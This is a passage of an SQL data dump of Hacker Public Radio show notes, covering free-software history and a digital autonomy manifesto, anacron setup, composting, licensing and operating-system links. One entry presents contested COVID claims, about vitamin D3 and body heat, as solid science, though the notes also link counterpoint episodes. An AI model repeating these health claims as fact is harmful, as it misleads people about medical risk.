and the Bazaar</a></li>\r\n<li>1997-07: The <a href=\"https://www.debian.org/social_contract#guidelines\">Debian Free Software Guidelines</a> <a href=\"https://lists.debian.org/debian-announce/1997/msg00017.html\">[original mail]</a></li>\r\n<li>1998-01: The Mozilla Project</li>\r\n<li>1998-02: The Open Source Initiative</li>\r\n<li>1998-02: The <a href=\"https://opensource.org/osd\">Open Source Definition</a></li>\r\n<li>2011-02: Simon Phipps\'s <a href=\"https://webmink.com/essays/open-by-rule/\">Open-By-Rule Benchmark</a></li>\r\n<li>2015-02: <a href=\"https://opensourcedesign.net/2015/02/01/opensourcedesign-fosdem\">FOSDEM 2015 Open Source Design track</a></li>\r\n<li>2017-07: <a href=\"https://ekprayogblog.wordpress.com/2017/07/13/open-design-manifesto/\">Open Design Manifesto (ekprayog)</a></li>\r\n<li>2018-08: DebConf 18: <em>That\'s a free software Issue!</em> by Sandler and de Blanc <a href=\"https://debconf18.debconf.org/talks/38-thats-a-free-software-issue/\">[debconf]</a> <a href=\"https://peertube.debian.social/videos/watch/1461a829-a7fe-421a-9f0e-ef9b5db96ea9\">[peertube]</a></li>\r\n<li>2019-09: <a href=\"https://stallman.org/archives/2019-jul-oct.html#16_September_2019_%28Resignation%29\">rms resigns from the FSF</a></li>\r\n<li>2020-04: <a href=\"https://github.com/opensourcedesign/opensourcedesign.github.io/blob/e5e2ece7f08d16bc634f5e065cd27251862f616d/manifesto.md\">Open Source Design Manifesto (opensourcedesign.net)</a></li>\r\n<li>2020-07: GUADEC 2020: Principles of Digital Autonomy <a href=\"https://invidious.namazso.eu/watch?v=60cwBKZFIf4\">[invidious]</a> <a href=\"https://www.youtube.com/watch?v=60cwBKZFIf4\">[youtube]</a></li>\r\n<li>2020-08: DebConf 2020: Principles of Digital Autonomy <a href=\"https://debconf20.debconf.org/talks/97-introducing-the-principles-of-digital-autonomy/\">[debconf]</a> <a href=\"https://peertube.debian.social/videos/watch/0ccc2893-06dd-4c36-81d1-838441666bec\">[peertube]</a></li>\r\n<li>2021-03: Simon Phipps\'s <a href=\"https://meshedinsights.com/2021/03/18/rights-ratchet-score-card/\">A Rights Ratchet Score Card</a></li>\r\n<li>2021-03: <a href=\"https://media.libreplanet.org/u/libreplanet/m/unjust-computing-clamps-down/\">LibrePlanet 2021: rms returns to FSF board</a></li>\r\n<li>2021-04: Cooperative Technology manifesto <a href=\"https://hackerpublicradio.org/eps.php?id=3317\">[hpr3317]</a> <a href=\"https://cooperativetechnology.codeberg.page/\">[official]</a></li>\r\n</ul>\r\n<p>Further sources for timeline:</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_netscape\">https://en.wikipedia.org/wiki/History_of_netscape</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_free_and_open-source_software\">https://en.wikipedia.org/wiki/History_of_free_and_open-source_software</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar\">https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Open_Source_Initiative\">https://en.wikipedia.org/wiki/Open_Source_Initiative</a></li>\r\n</ul>\r\n<h2 id=\"people\">People</h2>\r\n<h3 id=\"molly-deblanc\">Molly DeBlanc</h3>\r\n<p><a href=\"https://deblanc.net/blog/about/\">https://deblanc.net/blog/about/</a></p>\r\n<ul>\r\n<li>Former Campaigns Manager, FSF</li>\r\n<li>Former President of the Board, OSI</li>\r\n<li>Current Strategic Initiatives Manager, GNOME Foundation</li>\r\n<li>Current Debian Community Team</li>\r\n</ul>\r\n<h3 id=\"karen-sandler\">Karen Sandler</h3>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Karen_Sandler\">https://en.wikipedia.org/wiki/Karen_Sandler</a></p>\r\n<ul>\r\n<li>Former General Counsel, SFLC</li>\r\n<li>Former Executive Director, GNOME Foundation</li>\r\n<li>Current Executive Director, SFC</li>\r\n</ul>\r\n<h2 id=\"manifesto\">Manifesto</h2>\r\n<p><a href=\"https://techautonomy.org/\">https://techautonomy.org/</a></p>\r\n<h3 id=\"declaration-of-digital-autonomy-draft-0-1-\">Declaration of Digital Autonomy (draft 0.1)</h3>\r\n<p>We demand a world in which technology is created to protect and empower the people who use it. Our technology must respect the rights and freedoms of those users. We need to take control for the purpose of collectively building a better world in which technology works in service to the good of human kind, protecting our rights and digital autonomy as individuals.</p>\r\n<p>We have become more reliant than ever on technology that we intertwine into every aspect of our lives. That technology is currently made not for us, those using it. Rather, it is for the companies who intend to monetize its use and whoever owns the associated copyrights and patents. Services are run via networked software  on computers we never directly interact with. Our devices are designed to only function while broadcasting our intimate information regardless of whether the transmission of that information is necessary functionality. We generate data that we do not have access to, that is bought, sold, and traded between corporations and governments. Technologies we\'re increasingly being forced to use reinforce and amplify social inequalities. As schools and jobs go online, high speed computing, centralized services and Internet become inescapably necessary. Technology is designed and implemented to oppress, often with sexist, classist, and racist implications. Rather than being served by these tools, we are instead in service to them. These gatekeepers of our technology are not individual people or public organizations who think about the wellbeing of others, but instead are corporations, governments and others with agendas that do not include our best interests. Our technology has become the basic infrastructure on which our society functions, and yet the individuals who use it have no say or control over its function.</p>\r\n<p>It\'s time to change  our digital destiny.</p>\r\n<p>We believe it is necessary for technology to provide opportunity for: informed consent of use; transparent development and operation; privacy and security from bad actors; interaction without fear of surveillance; technology to work primarily on the terms of the people using it; functionality inside and outside of connected networks; use with other services and other software, repair; and connection, and not alienation, from the technology itself and that which is created from it.</p>\r\n<p>We therefore call for the adoption of the following principles for ethical technology:</p>\r\n<ul>\r\n<li><h4 id=\"in-service-of-the-people-who-use-it\">In service of the people who use it</h4>\r\nFrom conception through to public availability, technology must be in the service of the people and communities who use it. This includes a freedom from surveillance, data gathering, data sales, and vendor and file format lock-in.  When it becomes apparent that the technology, as it is delivered, does not meet the needs of a given person, that person is able to change and repair their technology. Technology must have an option for use without an Internet connection.</li>\r\n<li><h4 id=\"informed-consent\">Informed consent</h4>\r\nPeople must have the ability to study and understand the technology in order to decide whether using it as is is the right choice for them. People must be able to determine, either directly or through third parties, how the technology is operating and what information it is collecting, storing and selling. Additionally, there should be no punitive responses for declining consent -- practical alternatives must be offered, whether those are changes to the underlying technology or compatible updates from the original provider or from third parties.</li>\r\n<li><h4 id=\"empowering-individual-and-collective-digital-action\">Empowering individual and collective digital action</h4>\r\n<p>When people discover that their technology is not functioning in their interest, or that the trade offs to use it have become too burdensome, they must have the ability to change what they are using, including the ability to replace the software on a device that they have purchased if it is not serving their interests and to use the technology while not being connected to a centralized network or choose a different network.</p>\r\n<p>Technology should not just be designed for the individuals using it, but also the communities of users. These communities can be those intentionally built around a piece of technology, geographic in nature, or united by another shared purpose. This includes having the ability and right to organize to repair the technology on and to migrate essential data to other solutions. Ownership of essential data must belong to the community relying on them.</p>\r\n</li>\r\n<li><h4 id=\"protect-people-s-privacy-and-other-rights-by-design\">Protect people\'s privacy and other rights by design</h4>\r\nBuilding technology must be done to respect  the rights of people, including those of privacy, open communication, and the safety to develop ideas without fear of monitoring, risk, or retribution. These cannot be tacked on as afterthoughts, but instead must be considered during the entire design and distribution process. Services should plan to store the minimum amount of data necessary to deliver the service in question, not collect data that may lay the groundwork for a profitable business model down the road. Regular deletion of inessential data should be planned from the outset. Devices need to have the ability to run and function while not transmitting data. All of these requirements are to better ensure privacy, as everytime a device wirelessly transmits or otherwise broadcasts data there is opportunity for interference or theft of that data.</li>\r\n</ul>\r\n<p>We, as individuals, collectives, cultures, and societies, are making this call in the rapidly changing face of technology and its deepening integration into our lives. Technology must support us as we forge our own digital destinies as our connectivity to digital networks and one another changes in ways we anticipate and in ways we have yet to imagine. Technology makers and those who use this technology can form the partnerships necessary to build the equitable, hopeful future we dream of.</p>\r\n<p><em>We\'d love to hear what you think! Let us know by emailing thoughts@ this domain.</em></p>\r\n<p><em>The Declaration of Digital Autonomy is (c) Molly de Blanc and Karen M. Sandler, 2020, licensed under Creative Commons Attribution-ShareAlike 4.0 International.</em></p>\r\n',311,0,1,'CC-BY-SA','manifesto, community, free software, open source, politics, philosophy, digital autonomy',0,0,1),
(3398,'2021-08-11','Anacron',949,'Put down that crontab and get started with anacron','<h2>Setup</h2>\r\n\r\n<pre><code>\r\n$ mkdir -p ~/.local/etc/cron.daily ~/.var/spool/anacron\r\n</code></pre>\r\n\r\n\r\n<p>Create a file called <code>anacrontab</code>&#58;</p>\r\n\r\n<pre><code>\r\n$ touch /.local/etc/anacrontab\r\n</code></pre>\r\n\r\n<p>Set it up to trigger scripts in your <code>cron.daily</code> folder&#58;\r\n</p>\r\n\r\n<pre><code>\r\nSHELL=/bin/sh\r\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\r\n1  0  cron.daily   run-parts $HOME/.local/etc/cron.daily/\r\n</code></pre>\r\n\r\n<p>\r\nValidate your anacrontab&#58;\r\n</p>\r\n\r\n<pre><code>\r\n$ anacron -T -t ~/.local/etc/anacrontab -S ~/.var/spool/anacron\r\n</code></pre>\r\n\r\n<p>Start anacron in a file that gets triggered at login, such as <code>~/.profile</code>&#58;\r\n</p>\r\n\r\n<pre><code>\r\nanacron -t $HOME/.local/etc/anacrontab -S $HOME/.var/spool/anacron\r\n</code></pre>\r\n\r\n<h2>Using</h2>\r\n\r\n<p>Now that everything is set up, just put scripts you want to run regularly in <code>cron.daily</code>, and make them executable.\r\n</p>\r\n\r\n<p>You can set up a weekly directory, too. Just set the time interval in your anacrontab to:\r\n</p>\r\n\r\n<pre><code>\r\nSHELL=/bin/sh\r\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\r\n7  0  cron.weekly   run-parts $HOME/.local/etc/cron.weekly/\r\n</code></pre>',78,0,0,'CC-BY-SA','cron, linux, service, automation',0,0,1),
(3411,'2021-08-30','Dominion card game',1673,'Klaatu talks about the Dominion card game','<p>Dominion is a card game. Lots of fun. You should try it.</p>\r\n\r\n<p>You can even play online for free at <a href=\"https://dominion.games/\">dominion.games</a>\r\n</p>',78,95,0,'CC-BY-SA','card, game',0,0,1),
(3409,'2021-08-26','Linux Inlaws S01E37: All about Hacker Public Radio',5738,'An interview with Ken Fallon, Janitor at Hacker Public Radio','<p>\r\n    In this episode of our beloved open source podcast rapidly approaching its\r\n    zenith of popularity (with hopefully not an equally rapid decline afterwards)\r\n    our two elderly heroes pay tribute to Hacker Public Radio in general and\r\n    Ken Fallon in particular. Plus: a never-heard-of-before peek into Martin\'s\r\n    very own private life (we lift the veil and reveal it all - don\'t miss this!)\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Hacker Public Radio (HPR): <a href=\"https://hackerpublicradio.org\" target=_blank>https://hackerpublicradio.org</a></li>\r\n<li>HPR mailing list: <a href=\"https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\" target=_blank>https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org</a></li>\r\n<li>Creative Commons Licenses: <a href=\"https://creativecommons.org\" target=_blank>https://creativecommons.org</a></li>\r\n<li>Static site generators: <a href=\"https://dev.to/oyetoket/which-is-the-best-static-site-generator-and-why-42e2\" target=_blank>https://dev.to/oyetoket/which-is-the-best-static-site-generator-and-why-42e2</a></li>\r\n<li>Richard Stallman issue: <a href=\"https://arstechnica.com/tech-policy/2019/09/richard-stallman-leaves-mit-after-controversial-remarks-on-rape\" target=_blank>https://arstechnica.com/tech-policy/2019/09/richard-stallman-leaves-mit-after-controversial-remarks-on-rape</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','HPR, cleaning, janitoring, having a good time, Richard M. Stallman, stats',0,0,1),
(3417,'2021-09-07','Ceph cluster hardware',729,'Looking into the hardware behind my ceph cluster ','<p>In this video I talk about 4 different computers that could be used in a ceph cluster and what I use and what could be good solutions. If you want to have a visual aid I\'ve created a youtube video talking about the same thing.</p>\r\n<ul>\r\n<li><a href=\"https://youtu.be/B6XXOVcLhzA\" class=\"uri\">https://youtu.be/B6XXOVcLhzA</a></li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','ceph, cluster, hardware',0,0,1),
(3437,'2021-10-05','The HTML document format',402,'Talking about my favorite document format.','<p>Klaatu asked us what document format we like and why, so this is a response to his podcast. In this podcast I talk about HTML and the importance of good document structure.</p>',382,0,0,'CC-BY-SA','html, document, css, javascript',0,0,1),
(3408,'2021-08-25','Composting',336,'Inspired by episode 3157, Rho`n describes his experience of learning to compost','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Welcome to another episode of Hacker Public Radio. This episode is inspired by HPR episode 3157 entitled Compost by Klaatu. During the early 2000\'s, I lived in a single family home which had a number of oak trees around it. Between the trees, other foliage, and grass, there was a large amount of yard waste. While my city (Baltimore, MD in the US) will pick up your yard waste if you put it in bags by the curb [1], I would use the oak leaves as mulch, and did have a mulch pile of leaves and other yard waste. At that time, I thought about composting food waste, but there is a big issue with rats in Baltimore, and I didn\'t look into ways to compost. I just knew I couldn\'t randomly mix it into my mulch pile.</p>\r\n<p>I am currently living in a different house, without any oak trees, and not as much yard waste (particularly since we hire someone to mow the grass every couple weeks). After listening to the Compost episode, I was inspired to look into the best way to do it given my current living situation. The first thing I did was to look and see if there are any laws against composting in Baltimore City. The rat problem is big enough that the City purchased and distributed a large green plastic trash bin to every physical mailing address in the city. This is the bin you are required to use when putting out your trash. Given the situation, I wasn\'t sure it would be legal to do composting in your back yard. Much to my surprise, it is not only legal, but the city website has a web page on how to compost [2] and just recently started a pilot program for food scrap drop off with seven locations around the city [3].</p>\r\n<h2 id=\"kitchen-compost-bin\">Kitchen Compost Bin</h2>\r\n<p>After determining I wasn\'t going to be a scofflaw, I went to the Internet to see what kind of bins are available for purchase. While Klaatu gives great suggestions for low cost composting bins, I wanted something that would look nice sitting out on a shelf for the small inside bin. I found the Utopia Kitchen Compost Bin [4]. The bin is made of stainless steel and has a volume of 1.3 gallons (4.9 liters). The lid is rounded and has a series of holes around the top. The inside of the lid holds a circular shaped charcoal filter. The combination of holes and charcoal filter capture any odors generated by the food scraps. It works amazingly well and even with onion scraps you need to stick your nose to the holes and inhale deep to smell anything when the lid is closed. It holds three to seven days worth of food scraps, most of which end up being coffee grinds. We have had this bin for 10 months, and the charcoal filter is still effective. There are replacement filters available for this bin, but you could also cut other charcoal filters to fit inside the lid.</p>\r\n<h2 id=\"outside-compost-bin\">Outside Compost Bin</h2>\r\n<p>Given the potential rat and other small critter issues, I wanted the main, outside composter to be fully enclosed, and preferably not sitting directly on the ground. A quick search brings up a number of options, both composters that sit on the ground and ones that are tumbler style, which hang on a frame. I went with a tumbler style compost bin. This provided the desired feature of not being on the ground, and has the added advantage of making it easy to turn the compost every second or third day by just rotating the bin slowly for three or four full turns. I purchased the FCMP Outdoor IM4000 Tumbling Composter [5]. The composter is octagonal shaped column with two chambers inside it. This allows you to fill one chamber while the other side is finishing the composting process. There are also aeration holes for each chamber which can be open to different levels to moderate the amount of moisture. The combined volume of the two chambers is approximately 37 gallons (140 liters).</p>\r\n<h2 id=\"my-composting-experience\">My Composting Experience</h2>\r\n<p>So far I have been very happy with this combination. I just emptied a chamber for the third time. I do have a bit of an issue with the compost being overly damp. I have mixed some drier yard waste in from time to time and that does help, but have had times when parts of it get a little slimy. I have also run into issues with flies and other bugs living in the chamber for a while, but generally I don\'t see them outside of the composter, just when I open the door to add more material. Not ideal, but not so bad that I did anything about it. I have also found certain things do take extra time to compost, and usually need some manual help to break down. Pits of mangoes and avocados in particular along with corn cobs take a long time to break down. They do start to compost, and are easy to crumble in your hands, but keep their basic shape for a long while. Egg shells don\'t really break down, as Klaatu mentioned, but they do become very brittle and I crumble them up manually along with the pits and corn cobs. Another issue I have found with damper compost, particularly in cooler months, it doesn\'t heat up enough to decompose the seeds of some plants. This ended up being a pleasant surprise this summer after mixing in the first batch of compost in our little herb garden during the spring. We now have a combination of plumb and medium sized tomato plants and some kind of squash plant growing in it. If you don\'t want random plants growing in your yard or flower beds, do be careful when composting plants with seeds [6].</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>While it takes a little extra effort, composting does reduce the amount of garbage you are sending to the dump, and does reduce the smell of your kitchen trash bin. It also gives a rewarding feeling as you watch the material break down into a rich dirt, and then mix it into your garden or yard. I recommend giving it a try, and posting your experience as another episode of Hacker Public Radio.</p>\r\n<h2 id=\"references\">References</h2>\r\n<ol>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/pw-recycling/yard\">Baltimore City Department of Public Works-Yard Waste</a></li>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/pw-bureaus/solid-waste/services\">Baltimore City Department of Public Works-Source Reduction</a></li>\r\n<li><a href=\"https://publicworks.baltimorecity.gov/foodscrapdrop-off\">Baltimore City Department of Public Works-Food Scrap Drop-Off Pilot Program</a></li>\r\n<li><a href=\"https://www.thespruceeats.com/utopia-kitchen-stainless-steel-compost-bin-review-4768116\">Utopia Kitchen Compost Bin</a></li>\r\n<li><a href=\"https://fcmponline.com/products/im4000-dual-chamber-tumbling-composter\">FCMP Outdoor IM4000 Tumbling Composter</a></li>\r\n<li><a href=\"https://www.gardeningknowhow.com/composting/ingredients/composting-tomato-plants.htm\">Composting Tomato Plants: When To Compost Tomatoes</a></li>\r\n</ol>\r\n',293,0,0,'CC-BY-SA','food,rubbish,landfill,gardening,compost,composting',0,0,1),
(3414,'2021-09-02','Critical Thinking may make You Critical of the Covid Crisis',645,'Some Science YOU can observe about covid fallacies, and some preventative medicine.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>Counter points to this show are available:<br />\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3442\">hpr3442 :: What is this thing called science</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3445\">hpr3445 :: True critical thinking seems to be the key</a></li>\r\n</ol>\r\n</p>\r\n<hr />\r\n<p>The homeless weren\'t affected as much as other segments of the population. This Radiolab episode suggests that healthy vitamin D3 levels from being out in the sun often may be the reason.</p>\r\n<p><a href=\"https://www.wnycstudios.org/podcasts/radiolab/articles/invisible-allies\" class=\"uri\">https://www.wnycstudios.org/podcasts/radiolab/articles/invisible-allies</a></p>\r\n<p>A hospital in Spain did a double blind study, solid science. In this study, before any vaccines were available for covid, vitamin D3 made the difference between a 7.6% death rate due to covid, and a 0% death rate with vitamin D3. This YouTube video gets very technical, but tells the story.</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=V8Ks9fUh2k8\" class=\"uri\">https://www.youtube.com/watch?v=V8Ks9fUh2k8</a></p>\r\n<p>Back in the 60s, body temperature\'s effect on fighting viruses was known, that knowledge was lost for a time because of scientists who spoke out, not knowing the whole story, but in 2003, in the aftermath of the previous covid outbreak, a doctor from China documented the need for body heat to fight off covid. Even so, medical professionals in New York set up a covid triage in Central Park during a season when the daytime temperature was in the 50s, and night time temperature was much colder. Just having a PhD behind your name doesn\'t make you right.</p>\r\n<p><a href=\"https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature\" class=\"uri\">https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature</a></p>\r\n',395,0,1,'CC-BY-SA','covid, vitamin D3, masks, viruses, lawyers',0,0,1),
(3404,'2021-08-19','Suse 15.3 Leap',652,'A short review of Suse 15.3','<p>Short review of Suse 15.3</p>\r\n',129,0,0,'CC-BY-SA','linux, suse, leap, vnc',0,0,1),
(3412,'2021-08-31','Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported',2098,'We are using this license but we didn\'t publish it on HPR ... until now!','<p><em>This show and its notes are licensed under the Creative Commons Attribution 3.0 Unported license: <a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a></em></p>\r\n<p>The original work is by Creative Commons and has been slightly modified during reading. The text\r\nreproductions below have been modified for formatting, but not intentionally for content.\r\nMisspellings are from the original.</p>\r\n<ul>\r\n<li>The show <a href=\"https://hackerpublicradio.org/eps.php?id=3402\">https://hackerpublicradio.org/eps.php?id=3402</a> is licensed under the Creative Commons Attribution ShareAlike 4.0 International license.</li>\r\n<li>CC-by-SA 3.0 and other 3.0 licenses were released on 2007-02-23: <a href=\"https://creativecommons.org/2007/02/23/version-30-launched/\">https://creativecommons.org/2007/02/23/version-30-launched/</a></li>\r\n<li>The licenses were published on a site that was at the time CC-by 3.0: <a href=\"https://web.archive.org/web/20070225072754/https://creativecommons.org/\">https://web.archive.org/web/20070225072754/https://creativecommons.org/</a></li>\r\n</ul>\r\n<hr>\r\n<h1 id=\"creative-commons-license-deed\">Creative Commons License Deed</h1>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">https://creativecommons.org/licenses/by-sa/3.0/</a></p>\r\n<h2 id=\"attribution-sharealike-3-0-unported-cc-by-sa-3-0-\">Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0)</h2>\r\n<p>This is a human-readable summary of (and not a substitute for) the <a href=\"#creative-commons-legal-code\">license</a>.</p>\r\n<h3 id=\"disclaimer\">Disclaimer</h3>\r\n<p>This deed highlights only some of the key features and terms of the actual license. It is not a\r\nlicense and has no legal value. You should carefully review all of the terms and conditions of the actual\r\nlicense before using the licensed material.</p>\r\n<p>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying,\r\nor linking to this deed or the license that it summarizes does not create a lawyer-client or any other\r\nrelationship.</p>\r\n<h3 id=\"you-are-free-to-\">You are free to:</h3>\r\n<ul>\r\n<li><strong>Share</strong> - copy and redistribute the material in any medium or format</li>\r\n<li><strong>Adapt</strong> - remix, transform, and build upon the material for any purpose, even commercially.\r\nThe licensor cannot revoke these freedoms as long as you follow the license terms.</li>\r\n</ul>\r\n<h3 id=\"under-the-following-terms-\">Under the following terms:</h3>\r\n<ul>\r\n<li><strong>Attribution</strong> - You must give\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">appropriate credit</a>,\r\nprovide a link to the license, and\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">indicate if changes were made</a>.\r\nYou may do so in any reasonable manner, but not in any way that suggests the licensor endorses\r\nyou or your use.</li>\r\n<li><strong>ShareAlike</strong> - If you remix, transform, or build upon the material, you must\r\ndistribute your contributions under the\r\n<a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">same license</a>\r\nas the original.</li>\r\n<li><strong>No additional restrictions</strong> - You may not apply legal terms or\r\n<a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">technological measures</a>\r\nthat legally restrict others from doing anything the license permits.</li>\r\n</ul>\r\n<h3 id=\"notices-\">Notices:</h3>\r\n<p>You do not have to comply with the license for elements of the material in the public domain or\r\nwhere your use is permitted by an applicable\r\n<a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">exception or limitation</a>.</p>\r\n<p>No warranties are given. The license may not give you all of the permissions necessary for your\r\nintended use. For example, other rights such as\r\n<a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">publicity, privacy, or moral rights</a>\r\nmay limit how you use the material.</p>\r\n<hr>\r\n<h1 id=\"creative-commons-legal-code\">Creative Commons Legal Code</h1>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/legalcode\">https://creativecommons.org/licenses/by-sa/3.0/legalcode</a></p>\r\n<p>For the rest of the text please see: <a href=\"https://hackerpublicradio.org/eps/hpr3412/\">https://hackerpublicradio.org/eps/hpr3412/</a></p>\r\n',311,0,0,'CC-BY','license, creative commons, recital, reading, legal',0,0,1),
(3407,'2021-08-24','Software Freedom Podcast',3407,'A sample episode of the Free Software Foundation Europe Podcast','<p>\r\nThe <a href=\"https://fsfe.org/news/podcast.en.html\">Free Software Foundation Europe have a podcast</a>, and this is a sample episode.\r\n</p>\r\n<ol>\r\n<li><a href=\"https://fsfe.org/news/podcast.en.html\">Web page: https://fsfe.org/news/podcast.en.html</a></li>\r\n<li><a href=\"https://fsfe.org/news/podcast-opus.en.rss\">Opus Feed: feed://fsfe.org/news/podcast-opus.en.rss</a></li>\r\n<li><a href=\"https://fsfe.org/news/podcast.en.rss\">MP3 Feed: feed://fsfe.org/news/podcast.en.rss</a></li>\r\n<li><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts: https://freeculturepodcasts.org/</a></li>\r\n</ol>',30,75,0,'CC-BY-SA','FSFE,Podcast,freeculturepodcasts',0,0,1),
(3419,'2021-09-09','Linux Inlaws S01E38: Tiny kernels',3748,'All you ever wanted to hear and more about micro kernels and other operating system war stories','<p> This episode is dedicated to tiny kernels driving operating systems also\r\n    known as micro-kernels.  While discussing the last 100 years of operating\r\n    system design and implementation, our two aging heroes also shed some\r\n    light on operating systems in general and their recent history (like fifty\r\n    years). Unless you\'re a true OS nerd, you find the episode mildly\r\n    refreshing and educational on the layers of software underneath your\r\n    beloved applications controlling the hardware and other shenanigans. If\r\n    you\'re an OS nerd, this episode may have the potential of closing your few\r\n    remaining knowledge gaps (or something like this).  A fun show for\r\n    children of all ages and beyond.  </p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>IBM VM: <a href=\"https://en.wikipedia.org/wiki/Z/VM\" target=_blank>https://en.wikipedia.org/wiki/Z/VM</a></li>\r\n<li>Modern operating systems by Andy S. Tanenbaum: <a href=\"https://csc-knu.github.io/sys-prog/books/Andrew%20S.%20Tanenbaum%20-%20Modern%20Operating%20Systems.pdf\" target=_blank>https://csc-knu.github.io/sys-prog/books/Andrew%20S.%20Tanenbaum%20-%20Modern%20Operating%20Systems.pdf</a></li>\r\n<li>Short write-up on fashion (for the uninitiated): <a href=\"https://en.wikipedia.org/wiki/Fashion\" target=_blank>https://en.wikipedia.org/wiki/Fashion</a></li>\r\n<li>Multics: <a href=\"https://www.multicians.org\" target=_blank>https://www.multicians.org</a></li>\r\n<li>Unix: <a href=\"https://en.wikipedia.org/wiki/History_of_Unix\" target=_blank>https://en.wikipedia.org/wiki/History_of_Unix</a></li>\r\n<li>CCP/M-86: <a href=\"https://en.wikipedia.org/wiki/Multiuser_DOS#Concurrent_CP/M-86\" target=_blank>https://en.wikipedia.org/wiki/Multiuser_DOS#Concurrent_CP/M-86</a></li>\r\n<li>QDOS: <a href=\"https://en.wikipedia.org/wiki/86-DOS\" target=_blank>https://en.wikipedia.org/wiki/86-DOS</a></li>\r\n<li>VMS: <a href=\"https://vmssoftware.com\" target=_blank>https://vmssoftware.com</a></li>\r\n<li>Digital\'s VAX: <a href=\"https://en.wikipedia.org/wiki/VAX\" target=_blank>https://en.wikipedia.org/wiki/VAX</a></li>\r\n<li>Mach kernel: <a href=\"https://en.wikipedia.org/wiki/Mach_(kernel)\" target=_blank>https://en.wikipedia.org/wiki/Mach_(kernel)</a></li>\r\n<li>Android: <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\" target=_blank>https://en.wikipedia.org/wiki/Android_(operating_system)</a></li>\r\n<li>Homebrew: <a href=\"https://brew.sh\" target=_blank>https://brew.sh</a></li>\r\n<li>MacPorts: <a href=\"https://www.macports.org\" target=_blank>https://www.macports.org</a></li>\r\n<li>Usenet war: <a href=\"https://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate\" target=_blank>https://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate</a></li>\r\n<li>Minix and TPM: <a href=\"https://www.zdnet.com/article/minix-intels-hidden-in-chip-operating-system\" target=_blank>https://www.zdnet.com/article/minix-intels-hidden-in-chip-operating-system</a></li>\r\n<li>Trusted Platform Module: <a href=\"https://link.springer.com/content/pdf/10.1007%2F978-1-4302-6584-9.pdf\" target=_blank>https://link.springer.com/content/pdf/10.1007%2F978-1-4302-6584-9.pdf</a></li>\r\n<li>Secure enclaves: <a href=\"https://software.intel.com/content/www/us/en/develop/topics/software-guard-extensions.html\" target=_blank>https://software.intel.com/content/www/us/en/develop/topics/software-guard-extensions.html</a></li>\r\n<li>The Sleepover: <a href=\"https://www.imdb.com/title/tt10888708/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt10888708/?ref_=fn_al_tt_1</a></li>\r\n<li>Python Init Podcast episode: <a href=\"https://www.pythonpodcast.com/tony-liu-python-venture-investing-episode-305\" target=_blank>https://www.pythonpodcast.com/tony-liu-python-venture-investing-episode-305</a></li>\r\n<li>Martin\'s trainspotters\' research paper: <a href=\"https://www.diva-portal.org/smash/get/diva2:1340183/FULLTEXT05\" target=_blank>https://www.diva-portal.org/smash/get/diva2:1340183/FULLTEXT05</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Operating systems, kernels, Usenet wars, Linus Torvalds, Andrew Tanenbaum, Minix, trainspotting',0,0,1),
